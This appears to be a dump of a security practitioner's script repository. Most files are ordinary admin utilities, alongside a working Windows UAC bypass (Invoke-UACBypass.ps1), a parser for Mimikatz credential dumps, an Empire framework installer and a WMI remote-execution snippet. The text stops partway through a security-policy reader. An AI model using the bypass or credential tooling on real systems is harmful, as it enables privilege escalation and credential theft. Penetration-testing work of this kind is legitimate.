├── .gitattributes
├── ConvertFrom-MimiKatz.ps1
├── Create-RemoteProcess.py
├── DynamicDNS_Cloudflare.py
├── Get-KerberosServiceTicket.ps1
├── Get-NipperFilterTables.ps1
├── Get-RandomLines.ps1
├── Get-ScoreBoard.ps1
├── InstallEmpire.sh
├── Invoke-Mimikatz.ps1
├── Invoke-UACBypass.ps1
├── NextCloud
├── SortPictures.py
└── readme.md
├── Read-SecurityPolicy.ps1
├── SQL Injection Example
├── CreateDatabase.sql
├── CreateTable.sql
├── Default.aspx
├── Default.aspx.cs
└── web.config
├── SQL Server sys configurations checks.sql
├── Set-ADPhoto.ps1
├── Sub Domain Enumeration.ps1
├── UpdateIPs.py
├── add GPL v3 header
└── Add-GPLHeader.ps1
├── digital_ocean
└── CreateWordpressSite.py
├── gencerts.sh
├── get_rockyou_pass.sh
└── markdown xss test.md
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 |
7 | # Standard to msysgit
8 | *.doc diff=astextplain
9 | *.DOC diff=astextplain
10 | *.docx diff=astextplain
11 | *.DOCX diff=astextplain
12 | *.dot diff=astextplain
13 | *.DOT diff=astextplain
14 | *.pdf diff=astextplain
15 | *.PDF diff=astextplain
16 | *.rtf diff=astextplain
17 | *.RTF diff=astextplain
18 |
--------------------------------------------------------------------------------
/ConvertFrom-MimiKatz.ps1:
--------------------------------------------------------------------------------
1 |
2 | Function ConvertFrom-MimiKatz {
3 | param($MimiKatzOutput,[switch]$IncludeComputer)
4 |
5 | begin
6 | {
7 | Function Extract-Value {
8 | param($RawString,$Item)
9 |
10 | $ItemValue = $RawString -split "\*\s$($Item).*:\s(.*?)`n"
11 | if(@($ItemValue).count -gt 1)
12 | {
13 | $ItemValue[1].trim()
14 | }else{
15 | '(null)'
16 | }
17 |
18 | }
19 | Function Clean-Username {
20 | param($userName)
21 | if(-not [string]::IsNullOrEmpty($userName))
22 | {
23 | $Result[$i].trim()
24 | }else{
25 | '(null)'
26 | }
27 | }
28 | }
29 |
30 | process
31 | {
32 | $Result = $MimiKatzOutput -split "\*\sUsername\s:\s(.*?)`n"
33 | $Total = @($Result).Count / 2
34 | $i = 1
35 |
36 | $Output = 1..$Total | Foreach{
37 | $Out = '' | Select-Object Username, Domain, NTLM, SHA1, Password
38 | $Out.Username = (Clean-Username -UserName $Result[$i])
39 | $Out.Domain = (Extract-Value -RawString $Result[$i + 1] -Item Domain)
40 | $Out.NTLM = (Extract-Value -RawString $Result[$i + 1] -Item NTLM)
41 | $Out.SHA1 = (Extract-Value -RawString $Result[$i + 1] -Item SHA1)
42 | $Out.Password = (Extract-Value -RawString $Result[$i + 1] -Item Password)
43 | $Out
44 |
45 | $i = $i + 2
46 |
47 | } | Select-Object Username,Domain,NTLM,SHA1,Password -Unique
48 | }
49 |
50 | end
51 | {
52 | if(-not $IncludeComputer)
53 | {
54 | $Output = $Output | Where-Object { $_.Username -notlike '*$' }
55 | }
56 |
57 | $Output | Group-Object Username | Foreach {
58 | $Out = '' | Select-Object Username, Domain, NTLM, SHA1, Password
59 | $Out.Username = $_.Name -replace '(,\(null\)|\(null\),|\(null\))'
60 | $Out.Domain = (($_.Group | Select-Object -ExpandProperty Domain -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))'
61 | $Out.NTLM = (($_.Group | Select-Object -ExpandProperty NTLM -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))'
62 | $Out.SHA1 = (($_.Group | Select-Object -ExpandProperty SHA1 -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))'
63 | $Out.Password = (($_.Group | Select-Object -ExpandProperty Password -Unique) -Join ',') -replace '(,\(null\)|\(null\),|\(null\))'
64 | $Out
65 | } | Where-Object { -not [string]::IsNullOrEmpty($_.Username) }
66 | }
67 |
68 | }
69 |
--------------------------------------------------------------------------------
/Create-RemoteProcess.py:
--------------------------------------------------------------------------------
1 | import wmi
2 |
3 | ip = "1.1.1.1"
4 | username = "UsernameHere"
5 | password = "PasswordHere"
6 | c = wmi.WMI (computer=ip,user=username,password=password)
7 |
8 | process_id, return_value = c.Win32_Process.Create (CommandLine="notepad.exe")
9 |
10 | #result = process.Terminate ()
11 |
--------------------------------------------------------------------------------
/DynamicDNS_Cloudflare.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | api_key = ''
4 | api_email = 'email@gmail.com'
5 | api_zone = ''
6 | api_dns = ''
7 | sub_domain = 'sub.domain.example'
8 |
9 | # get the current external IP
10 | extip = requests.get('https://api.ipify.org/')
11 | extip = extip.content
12 | print('[*] Your external IP is ' + extip)
13 |
14 | # set the current IP
15 | url = 'https://api.cloudflare.com/client/v4/zones/' + api_zone + '/dns_records/' + api_dns
16 | data = {
17 | 'type' : 'A',
18 | 'name' : sub_domain,
19 | 'content' : extip,
20 | 'ttl' : 120,
21 | 'proxied' : False
22 | }
23 | head = {
24 | 'X-Auth-Email' : api_email,
25 | 'X-Auth-Key' : api_key,
26 | 'Content-Type' : 'application/json'
27 | }
28 | response = requests.put(url, json=data, headers=head)
29 |
30 | if response.status_code == requests.codes.ok:
31 | print('[+] External IP updated on Cloudflare.')
32 | else:
33 | print('[-] Failed to update external IP on Cloudflare.')
34 |
--------------------------------------------------------------------------------
/Get-KerberosServiceTicket.ps1:
--------------------------------------------------------------------------------
1 |
2 | Function Get-KerberosServiceTicket {
3 | param($username)
4 |
5 | if($username -notlike '*@*'){
6 | Write-Warning 'You must have username@domain.name'
7 | return
8 | }
9 |
10 | #region Start collecting data
11 | $WindowsVista = [System.Version]'6.0'
12 | $OS = Get-WmiObject win32_operatingsystem
13 | $OSVersion = [Version]$OS.Version
14 |
15 | # Collecting logons for anything older than Vista/2008 R1 is too slow
16 | if ($OSVersion.CompareTo($WindowsVista) -ge 0)
17 | {
18 | # Build filter to only output logon events in the last 24 hours
19 | $XMLFilter = @"
20 |
21 |
22 |
27 |
28 |
29 | "@
30 |
31 | $Output = Get-WinEvent -FilterXml $XMLFilter | ForEach-Object {
32 |
33 | $Event = $_
34 |
35 | $EventDateTime = $Event.TimeCreated
36 | $EventXML = [XML]$Event.ToXML()
37 | $EventData = $EventXML.Event.EventData.Data
38 |
39 | $Username = $EventData[0].'#text'
40 | $IPAddress = $EventData[6].'#text'
41 |
42 |
43 | $Result = New-Object PSObject
44 | $Result | Add-Member NoteProperty Username $Username
45 | $Result | Add-Member NoteProperty IPAddress $IPAddress
46 | $Result | Add-Member NoteProperty DateTime $EventDateTime
47 | $Result
48 |
49 | } | Select-Object -Unique
50 |
51 | }# End if OS is Vista or greater
52 |
53 | $Output
54 |
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/Get-NipperFilterTables.ps1:
--------------------------------------------------------------------------------
1 | # Created by Liam Glanfield
2 | # 16/03/2017
3 | # dirty script to extract Nipper filter tables as PS object, so you can export to CSV or HTML etc.
4 | # update: now includes a function to generate the vulnerability table
5 | # required input is a folder of Nipper XML files
6 |
7 | Function Get-NipperVulnerabilityTable {
8 | param($InputFolder)
9 |
10 | begin
11 | {
12 | # grab the new line obj
13 | $nl = [Environment]::NewLine
14 |
15 | try
16 | {
17 | $Files = Get-ChildItem -Path $InputFolder -Filter *.xml -Recurse
18 | # wrap in @() to support PowerShell v2
19 | $FileCount = @($Files).Count
20 | $i = 1
21 | }
22 | catch
23 | {
24 | throw 'InputFolder not found.'
25 | }
26 |
27 |
28 | Function Build-NipperTable {
29 | param($Tables)
30 |
31 | if(@($Tables).count -eq 0)
32 | {
33 | return
34 | }
35 |
36 | # Convert XML mess to PS object
37 | Foreach($Table IN $Tables)
38 | {
39 | $Headings = $Table.headings.heading
40 | Foreach($Row IN $Table.tablebody.tablerow)
41 | {
42 | $Out = '' | Select-Object $Headings
43 | 0..(@($Headings).count - 1) | %{ $Out.$($Headings[$_]) = (Get-ItemData ($Row.tablecell[$_].item)) }
44 | $Out
45 | }
46 | }
47 |
48 | }
49 |
50 | }
51 |
52 |
53 | process
54 | {
55 | Foreach($File in $Files)
56 | {
57 | $XML = [xml](Get-Content $File.fullname)
58 | $VulnAudit = $XML.document.report.part | ?{ $_.title -eq 'Vulnerability Audit' }
59 | $VulnConclusions = $VulnAudit.section | ?{ $_.title -eq 'Conclusions' }
60 | $VulnTable = $VulnConclusions.table | ?{ $_.title -eq 'Vulnerability audit summary findings' }
61 | $VulnTable = Build-NipperTable -Tables $VulnTable
62 |
63 | Foreach($Row in $VulnTable)
64 | {
65 | $Out = '' | Select-Object 'Affected Devices', Vulnerability, 'CVSSv2 Score', Rating
66 | $Out.'Affected Devices' = $Row.'Affected Devices' -join $nl
67 | $Out.Vulnerability = $Row.Vulnerability
68 | $Out.'CVSSv2 Score' = $Row.'CVSSv2 Score'
69 | $Out.Rating = $Row.Rating
70 | $Out
71 | }
72 | }
73 | }
74 | }
75 |
76 |
77 | Function Get-NipperFilterTables {
78 | param($InputFolder,$OutputFolder=$false)
79 |
80 | begin
81 | {
82 | try
83 | {
84 | $Files = Get-ChildItem -Path $InputFolder -Filter *.xml -Recurse
85 | # wrap in @() to support PowerShell v2
86 | $FileCount = @($Files).Count
87 | $i = 1
88 | }
89 | catch
90 | {
91 | throw 'InputFolder not found.'
92 | }
93 |
94 | if($OutputFolder)
95 | {
96 | if(-not (Test-Path $OutputFolder))
97 | {
98 | throw "$OutputFolder - path not found."
99 | }
100 | }
101 |
102 | Function Get-ItemData {
103 | param($node)
104 | if($node.'#text')
105 | {
106 | return $node.'#text'
107 | }else{
108 | return $node
109 | }
110 | }
111 |
112 | Function Build-NipperTable {
113 | param($Tables,$Title)
114 |
115 | if(@($Tables).count -eq 0)
116 | {
117 | return
118 | }
119 |
120 | # Convert XML mess to PS object
121 | $Results = Foreach($Table IN $Tables)
122 | {
123 | $Headings = $Table.headings.heading
124 | Foreach($Row IN $Table.tablebody.tablerow)
125 | {
126 | $Out = '' | Select-Object $Headings
127 | 0..(@($Headings).count - 1) | %{ $Out.$($Headings[$_]) = (Get-ItemData ($Row.tablecell[$_].item)) }
128 | $Out | Select-Object @{n='Table';e={$Table.title}},*
129 | }
130 |
131 | }
132 |
133 | # Clean up and return
134 | Foreach($Item in $Results)
135 | {
136 | if($Item.Table -like 'Extended Access Control List*')
137 | {
138 | $FilterComment = $Item.Table.split(' ')[5..$(@($Item.Table.split(' ')).count -3)] -join ' '
139 | $FilterACL = $Item.Table.split(' ')[4]
140 | }
141 | elseif($Item.Table -like 'Extended ACL*')
142 | {
143 | $FilterComment = $Item.Table.split(' ')[3..$(@($Item.Table.split(' ')).count -3)] -join ' '
144 | $FilterACL = $Item.Table.split(' ')[2]
145 | }
146 | else
147 | {
148 | # no idea, so just spit out the raw and forget cutting it up
149 | $FilterComment = $Item.Table
150 | }
151 | $FilterHostname = $Item.Table.split(' ')[$(@($Item.Table.split(' ')).count -1)]
152 |
153 |
154 | $Out = '' | Select-Object Host, ACL, Rule, Active, Action, Protocol, Source, 'Src Port', Destination, 'Dst Port', Service, Log, 'Issue Title', Comment
155 | $Out.Host = $FilterHostname
156 | $Out.ACL = $FilterACL
157 | $Out.Rule = $Item.Rule
158 | $Out.Active = $Item.Active
159 | $Out.Action = $Item.Action
160 | $Out.Protocol = $Item.Protocol
161 | $Out.Source = $Item.Source
162 | $Out.'Src Port' = $Item.'Src Port'
163 | $Out.Destination = $Item.Destination
164 | $Out.'Dst Port' = $Item.'Dst Port'
165 | $Out.Service = $Item.Service
166 | $Out.Log = $Item.Log
167 | $Out.'Issue Title' = $Title
168 | $Out.Comment = $FilterComment
169 | $Out
170 | }
171 |
172 | }
173 |
174 |
175 |
176 | }
177 |
178 | process
179 | {
180 | $Data = Foreach($File in $Files)
181 | {
182 | # convert to XML object
183 | $XML = [xml]($File | Get-Content)
184 |
185 | # Grab a list of filter tables
186 | $FitlerTablesToExport = $XML.document.contents.tables.content | where-object { $_.ref -like 'FILTER*' } | Select-Object -ExpandProperty index
187 |
188 | # Process each table in the report
189 | Foreach($ReportSection in $XML.document.report.part)
190 | {
191 | Foreach($SectionDetail in $ReportSection.section)
192 | {
193 | # grab the issue title
194 | $SectionTitle = $SectionDetail.title
195 | # yes Nipper XML is horrible to work with, could of done this better maybe *shrugs*
196 | Foreach($SectionDetailPart in $SectionDetail.section)
197 | {
198 | $TablesFiltered = $SectionDetailPart.table | Where-Object { $FitlerTablesToExport -Contains $_.index }
199 | if($TablesFiltered)
200 | {
201 | Build-NipperTable -Tables $TablesFiltered -Title $SectionTitle
202 | }
203 | }
204 | }
205 | }
206 | }
207 |
208 | if($OutputFolder)
209 | {
210 | # Save to CSV files based on issue type
211 | # first all filter rules
212 | $Data | Where-Object { $_.'Issue Title' -like 'Filter*Rule*' } | Export-Csv (Join-Path $OutputFolder 'FilterRules.csv') -NoTypeInformation
213 | # Now save the rest
214 | $Data | Where-Object { $_.'Issue Title' -notlike 'Filter*Rule*' } | Group-Object 'Issue Title' | Foreach {
215 | $Item = $_
216 | $_.group | Export-Csv (Join-Path $OutputFolder "$($Item.name.Replace(' ','')).csv") -NoTypeInformation
217 | }
218 |
219 | }else{
220 | $Data
221 | }
222 | }
223 |
224 | }
225 |
--------------------------------------------------------------------------------
/Get-RandomLines.ps1:
--------------------------------------------------------------------------------
1 | Function Get-RandomLines {
2 | Param(
3 | # The filename can be relative or full path
4 | [Parameter(Mandatory = $true,
5 | ValueFromPipelineByPropertyName = $true,
6 | ValueFromPipeline = $true,
7 | Position = 0)]
8 | [Alias('FullName','F')]
9 | [string]$FileName,
10 | # The value of the percentage
11 | [Parameter(Mandatory = $false,
12 | Position = 1)]
13 | [Alias('P')]
14 | [int]$Percentage = 50)
15 |
16 | # Process file
17 | Process {
18 |
19 | # Check file exists
20 | if(-not (Test-Path $FileName)){
21 | Write-Error 'Unable to find file!' -TargetObject $FileName
22 | return
23 | }
24 |
25 | # Get unquie contents
26 | $Content = Get-Content $FileName | Select-Object -Unique
27 |
28 | # Calculate percentages and values
29 | $OnePercent = 100 / $Content.Count
30 | $AmountNeeded = $OnePercent * $Percentage
31 |
32 | # Check percentage against line count
33 | if($AmountNeeded -gt $Content.Count){
34 | Write-Error 'This percentage requirement will send you into a deep black hole!' -TargetObject "$AmountNeeded%"
35 | return
36 | }
37 |
38 |
39 |
40 |
41 | # Random select X amount of lines
42 | [int[]]$SelectedLines = @()
43 | while($SelectedLines.Count -ne $AmountNeeded){
44 |
45 | # Get random number up to line count
46 | $Rand = Get-Random -Minimum 0 -Maximum ($Content.Count - 1)
47 |
48 | # Check if line has already been used if not add to array
49 | if($SelectedLines -notcontains $Rand){
50 | $SelectedLines += $Rand
51 | }
52 | }
53 |
54 | # Output X amount of unquie lines based on percentage
55 | $Content[$SelectedLines]
56 |
57 | }
58 |
59 |
60 | }
--------------------------------------------------------------------------------
/Get-ScoreBoard.ps1:
--------------------------------------------------------------------------------
1 |
2 | Function Get-ScoreBoard {
3 | param([string]$TeamName=[string]::Empty,[int]$SelectTop=0)
4 |
5 | begin {
6 |
7 | # Convert scoreboard table into native object for easy processing
8 |
9 | # Download webpage and extract all contents of tbody then build an XML object
10 | $Webpage = (Invoke-WebRequest https://ctf.internetwache.org/scoreboard).Content
11 | $Regex = [regex]"
(.|\n)*?"
12 | $Results = ([xml]($regex.Match($webpage).Value)).tbody.tr
13 |
14 | # Loop through the XML object and build a cleaned PS custom object
15 | # Sort by position and team to match website output
16 | $Results = $Results | Foreach {
17 | $Out = '' | Select-Object Position, Team, Score
18 | $Out.Position = [int]($_.td[0])
19 | $Out.Team = [string]($_.td[1].Trim())
20 | $Out.Score = [int]($_.td[2])
21 | $Out
22 | } | Sort-Object -Property Position, Team
23 |
24 | }
25 |
26 | process {
27 |
28 | # if team name given filter on team name
29 | # You could do team* to return all starting with team, * for wildcard
30 | if($TeamName -ne [string]::Empty){
31 | $Results = $Results | Where-Object { $_.Team -like $TeamName }
32 | }
33 |
34 | # if select top # is given return the top # of results
35 | if($SelectTop -gt 0){
36 | $Results = $Results | Select-Object -First $SelectTop
37 | }
38 |
39 | }
40 |
41 | end {
42 |
43 | # return results
44 | $Results
45 |
46 | }
47 |
48 | }
49 |
50 |
51 | Function Invoke-ScoreBoardSummary {
52 | param(
53 | [string]$TeamName,
54 | [ValidateSet('html', 'text', IgnoreCase = $true)]
55 | [string]$Format='text',
56 | [int]$SelectTop=10
57 | )
58 |
59 | Begin {
60 |
61 | $Results = Get-ScoreBoard -SelectTop 10
62 | $TeamResults = Get-ScoreBoard -TeamName $TeamName
63 | $TeamPosition = $TeamResults[0].Position
64 | $TeamScore = $TeamResults[0].Score
65 |
66 | }
67 |
68 | process {
69 |
70 |
71 | if($Format -eq 'text'){
72 | $Output = "Internetwache CTF 2016 - Score Board Update`r`n`r`n"
73 | $Output += "-- Top $SelectTop Teams --`r`n"
74 | $Output += "------------------"
75 | $Output += $Results | Format-Table -AutoSize | Out-String
76 | $Output += "-- $TeamName --`r`n"
77 | $Output += (1..($TeamName.Length + 6) | %{ '-' }) -join ''
78 | $Output += "`r`n"
79 | $Output += "Current Position: $TeamPosition`r`n"
80 | $Output += "Current Score: $TeamScore"
81 | }
82 | if($Format -eq 'html'){
83 | $Output = "Internetwache CTF 2016 - Score Board Update
"
84 | $Output += "Top 10 Teams
"
85 | $Output += $Results | ConvertTo-Html -Fragment | Out-String
86 | $Output += "
"
87 | $Output += "$TeamName
"
88 | $Output += "Current Position: $TeamPosition
"
89 | $Output += "Current Score: $TeamScore"
90 | }
91 |
92 | }
93 |
94 | end {
95 |
96 | $Output
97 |
98 | }
99 |
100 | }
--------------------------------------------------------------------------------
/InstallEmpire.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | apt update
4 | apt install python python-pip -y
5 | pip install --upgrade pip
6 | hash -d pip
7 |
8 | apt remove python-urllib3
9 | pip install 'urllib3<1.23,>=1.21.1'
10 |
11 | git clone https://github.com/EmpireProject/Empire
12 | cd Empire/setup
13 | export STAGING_KEY="RANDOM"
14 | ./install.sh
15 |
--------------------------------------------------------------------------------
/Invoke-UACBypass.ps1:
--------------------------------------------------------------------------------
1 | # https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html
2 |
3 | Function Invoke-UACBypass {
4 | param($cmd="powershell.exe")
5 |
6 | Set-ItemProperty -Path HKCU:\Environment -Name windir -Value "cmd /C $cmd && REM" -Force
7 | Invoke-Expression "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I"
8 | Start-Sleep -Seconds 10
9 | Remove-ItemProperty -Path HKCU:\Environment -Name windir -Force
10 |
11 | }
12 |
--------------------------------------------------------------------------------
/NextCloud/SortPictures.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import exifread
3 | import datetime
4 | import hashlib
5 | import os
6 | import shutil
7 | import subprocess
8 |
9 | # config no trailing slashes please
10 | source_path = '/media/drivemount/user/files/PhotosToSort'
11 | destin_path = '/media/drivemount/user/files/Photos'
12 |
13 | # check if destination path is existing create if not
14 | if not os.path.exists(destin_path):
15 | os.makedirs(destin_path)
16 |
17 | # file hash function
18 | def hash_file(filename):
19 |
20 | # make a hash object
21 | h = hashlib.sha1()
22 |
23 | # open file for reading in binary mode
24 | with open(filename,'rb') as file:
25 |
26 | # loop till the end of the file
27 | chunk = 0
28 | while chunk != b'':
29 | # read only 1024 bytes at a time
30 | chunk = file.read(1024)
31 | h.update(chunk)
32 |
33 | # return the hex representation of digest
34 | return h.hexdigest()
35 |
36 | # picture date taken function
37 | def date_taken_info(filename):
38 | # Read file
39 | open_file = open(filename, 'rb')
40 |
41 | # Return Exif tags
42 | tags = exifread.process_file(open_file, stop_tag='Image DateTime')
43 |
44 | try:
45 | # Grab date taken
46 | datetaken_string = tags['Image DateTime']
47 | datetaken_object = datetime.datetime.strptime(datetaken_string.values, '%Y:%m:%d %H:%M:%S')
48 |
49 | # Date
50 | day = str(datetaken_object.day).zfill(2)
51 | month = str(datetaken_object.month).zfill(2)
52 | year = str(datetaken_object.year)
53 | # Time
54 | second = str(datetaken_object.second).zfill(2)
55 | minute = str(datetaken_object.minute).zfill(2)
56 | hour = str(datetaken_object.hour).zfill(2)
57 |
58 | # New Filename
59 | output = [day,month,year,day + month + year + '-' + hour + minute + second]
60 | return output
61 |
62 | except:
63 | return None
64 |
65 | # get all picture files from directory and process
66 | for file in os.listdir(source_path):
67 | if file.endswith('.jpg'):
68 | filename = source_path + os.sep + file
69 | dateinfo = date_taken_info(filename)
70 | try:
71 | out_filepath = destin_path + os.sep + dateinfo[2] + os.sep + dateinfo[1]
72 | out_filename = out_filepath + os.sep + dateinfo[3] + '.jpg'
73 |
74 | # check if destination path is existing create if not
75 | if not os.path.exists(out_filepath):
76 | os.makedirs(out_filepath)
77 |
78 | # copy the picture to the organised structure
79 | shutil.copy2(filename,out_filename)
80 |
81 | # verify if file is the same and display output
82 | if hash_file(filename) == hash_file(out_filename):
83 | print 'File copied with success to ' + out_filename
84 | os.remove(filename)
85 | else:
86 | print 'File failed to copy :( ' + filename
87 |
88 | except:
89 | print 'File has no exif data skipped ' + filename
90 |
91 |
92 | # initate a scan
93 | subprocess.Popen("php /var/www/html/nextcloud/console.php files:scan --all", shell=True, stdout=subprocess.PIPE)
94 |
--------------------------------------------------------------------------------
/NextCloud/readme.md:
--------------------------------------------------------------------------------
1 | Simple script I wrote for https://nextcloud.com/, runs on my server and sorts my photos as I drop them into the PhotosToSort directory.
2 |
3 | If you encrypt the files at rest this obviously won't work.
4 |
5 | Need to install exifread module also https://pypi.python.org/pypi/ExifRead
6 |
7 | Warning: This will overwrite a picture if the file name clashes, it's on my todo list to fix that! :)
8 |
--------------------------------------------------------------------------------
/Read-SecurityPolicy.ps1:
--------------------------------------------------------------------------------
1 | # Function taken with thanks from https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
2 | function Get-IniContent ($filePath)
3 | {
4 | $ini = @{}
5 | switch -regex -file $FilePath
6 | {
7 | “^\[(.+)\]” # Section
8 | {
9 | $section = $matches[1]
10 | $ini[$section] = @{}
11 | $CommentCount = 0
12 | }
13 | “^(;.*)$” # Comment
14 | {
15 | $value = $matches[1]
16 | $CommentCount = $CommentCount + 1
17 | $name = “Comment” + $CommentCount
18 | $ini[$section][$name] = $value
19 | }
20 | “(.+?)\s*=(.*)” # Key
21 | {
22 | $name,$value = $matches[1..2]
23 | $ini[$section][$name] = $value
24 | }
25 | }
26 | return $ini
27 | }
28 |
29 | # Function to create a new security object
30 | Function New-SecObj {
31 | Param($SettingType,$Name,$DisplayName,$RawValue,$Value)
32 |
33 | $Out = '' | Select-Object SettingType, Name, DisplayName, RawValue, Value
34 | $Out.SettingType = $SettingType
35 | $Out.Name = $Name
36 | $Out.DisplayName = $DisplayName
37 | $Out.RawValue = $RawValue
38 | $Out.Value = $Value
39 | $Out
40 |
41 | }
42 |
43 | # Export the security policy
44 | $ExportedPolicy = (Join-Path $env:TEMP SecurityPolicyExport.inf)
45 |
46 | # Run the export of the security policy
47 | $null = Invoke-Expression "secedit /export /cfg $ExportedPolicy"
48 |
49 | # Check if successful or not
50 | if($LASTEXITCODE -eq 0){
51 | # Successful so grab info
52 | $global:SecPol = Get-IniContent $ExportedPolicy
53 |
54 | # Convert to security policy to objects as it makes life easier
55 | $SystemAccess = New-Object psobject -Property $SecPol.'System Access'
56 | $AuditPolicy = New-Object psobject -Property $SecPol.'Event Audit'
57 |
58 | # Create empty array to store objects
59 | $FinalOutput = @()
60 |
61 | # Password Policy
62 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name EnforcePasswordHistory -RawValue ([int]($SystemAccess.PasswordHistorySize)) -Value ([int]($SystemAccess.PasswordHistorySize))
63 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MaximumPasswordAge -RawValue ([int]($SystemAccess.MaximumPasswordAge)) -Value ([int]($SystemAccess.MaximumPasswordAge))
64 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MinimumPasswordAge -RawValue ([int]($SystemAccess.MinimumPasswordAge)) -Value ([int]($SystemAccess.MinimumPasswordAge))
65 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name MinimumPasswordLength -RawValue ([int]($SystemAccess.MinimumPasswordLength)) -Value ([int]($SystemAccess.MinimumPasswordLength))
66 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name PasswordComplexity -RawValue ([int]($SystemAccess.PasswordComplexity)) -Value ([bool]([int]($SystemAccess.PasswordComplexity)))
67 | $FinalOutput += New-SecObj -SettingType PasswordPolicy -Name ReversibleEncryption -RawValue ([int]($SystemAccess.ClearTextPassword)) -Value ([bool]([int]($SystemAccess.ClearTextPassword)))
68 |
69 | # Lockout Policy
70 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name LockoutDuration -RawValue ([int]($SystemAccess.LockoutDuration)) -Value ([int]($SystemAccess.LockoutDuration))
71 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name LockoutThreshold -RawValue ([int]($SystemAccess.LockoutBadCount)) -Value ([int]($SystemAccess.LockoutBadCount))
72 | $FinalOutput += New-SecObj -SettingType LockoutPolicy -Name ResetLockoutCount -RawValue ([int]($SystemAccess.ResetLockoutCount)) -Value ([int]($SystemAccess.ResetLockoutCount))
73 |
74 | # Audit Policy (legacy)
75 | function AuditType {
76 | param($RawValue)
77 | switch($RawValue)
78 | {
79 | 0 {"No Auditing"}
80 | 1 {"Success"}
81 | 2 {"Failure"}
82 | 3 {"Success, Failure"}
83 | }
84 | }
85 |
86 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditAccountLogon -RawValue ([int]($AuditPolicy.AuditAccountLogon)) -Value (AuditType ([int]($AuditPolicy.AuditAccountLogon)))
87 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditAccountManage -RawValue ([int]($AuditPolicy.AuditAccountManage)) -Value (AuditType ([int]($AuditPolicy.AuditAccountManage)))
88 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditDSAccess -RawValue ([int]($AuditPolicy.AuditDSAccess)) -Value (AuditType ([int]($AuditPolicy.AuditDSAccess)))
89 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditLogonEvents -RawValue ([int]($AuditPolicy.AuditLogonEvents)) -Value (AuditType ([int]($AuditPolicy.AuditLogonEvents)))
90 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditObjectAccess -RawValue ([int]($AuditPolicy.AuditObjectAccess)) -Value (AuditType ([int]($AuditPolicy.AuditObjectAccess)))
91 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditPolicyChange -RawValue ([int]($AuditPolicy.AuditPolicyChange)) -Value (AuditType ([int]($AuditPolicy.AuditPolicyChange)))
92 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditPrivilegeUse -RawValue ([int]($AuditPolicy.AuditPrivilegeUse)) -Value (AuditType ([int]($AuditPolicy.AuditPrivilegeUse)))
93 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditProcessTracking -RawValue ([int]($AuditPolicy.AuditProcessTracking)) -Value (AuditType ([int]($AuditPolicy.AuditProcessTracking)))
94 | $FinalOutput += New-SecObj -SettingType AuditPolicy -Name AuditSystemEvents -RawValue ([int]($AuditPolicy.AuditSystemEvents)) -Value (AuditType ([int]($AuditPolicy.AuditSystemEvents)))
95 |
96 | # Security Options (work in progress)
97 | function EorD {
98 | param($RawValue)
99 |
100 | switch($RawValue)
101 | {
102 | 0 {"Disabled"}
103 | 1 {"Enabled"}
104 | }
105 |
106 | }
107 |
108 | # Process MS account block status
109 | if($SecPol.'Registry Values'.'MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConnectedUser'){
110 | $BlockMSAccountsRaw = $SecPol.'Registry Values'.'MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoConnectedUser'.Split(',')[1]
111 | $BlockMSAccountsValue = switch($BlockMSAccountsRaw)
112 | {
113 | 0 {"This policy is disabled"}
114 | 1 {"Users can't add Microsoft accounts"}
115 | 3 {"Users can't add or log on with Microsoft accounts"}
116 | }
117 | }else{
118 | $BlockMSAccountsRaw = -1
119 | $BlockMSAccountsValue = "Not Defined"
120 | }
121 |
122 | # console password use
123 | $LimitBlankPasswordUse = $SecPol.'Registry Values'.'MACHINE\System\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse'.Split(',')[1]
124 |
125 |
126 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name AdminAccountStatus -DisplayName 'Administrator account status' -RawValue ([int]($SystemAccess.EnableAdminAccount)) -Value (EorD ([int]($SystemAccess.EnableAdminAccount)))
127 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name BlockMSAccounts -DisplayName 'Block Microsoft accounts' -RawValue ([int]($BlockMSAccountsRaw)) -Value $BlockMSAccountsValue
128 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name GuestAccountStatus -DisplayName 'Guest account status' -RawValue ([int]($SystemAccess.EnableGuestAccount)) -Value (EorD ([int]($SystemAccess.EnableGuestAccount)))
129 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name LimitBlankPasswordUse -DisplayName 'Limit local account use of blank passwords to console logon only' -RawValue ([int]($LimitBlankPasswordUse)) -Value (EorD ([int]($LimitBlankPasswordUse)))
130 | $FinalOutput += New-SecObj -SettingType SecurityOptions:Accounts -Name RenameAdministrator -DisplayName 'Rename administrator account' -RawValue ([string]($SystemAccess.NewAdministratorName).Replace('"','').trim()) -Value ([string]($SystemAccess.NewAdministratorName).Replace('"','').trim())
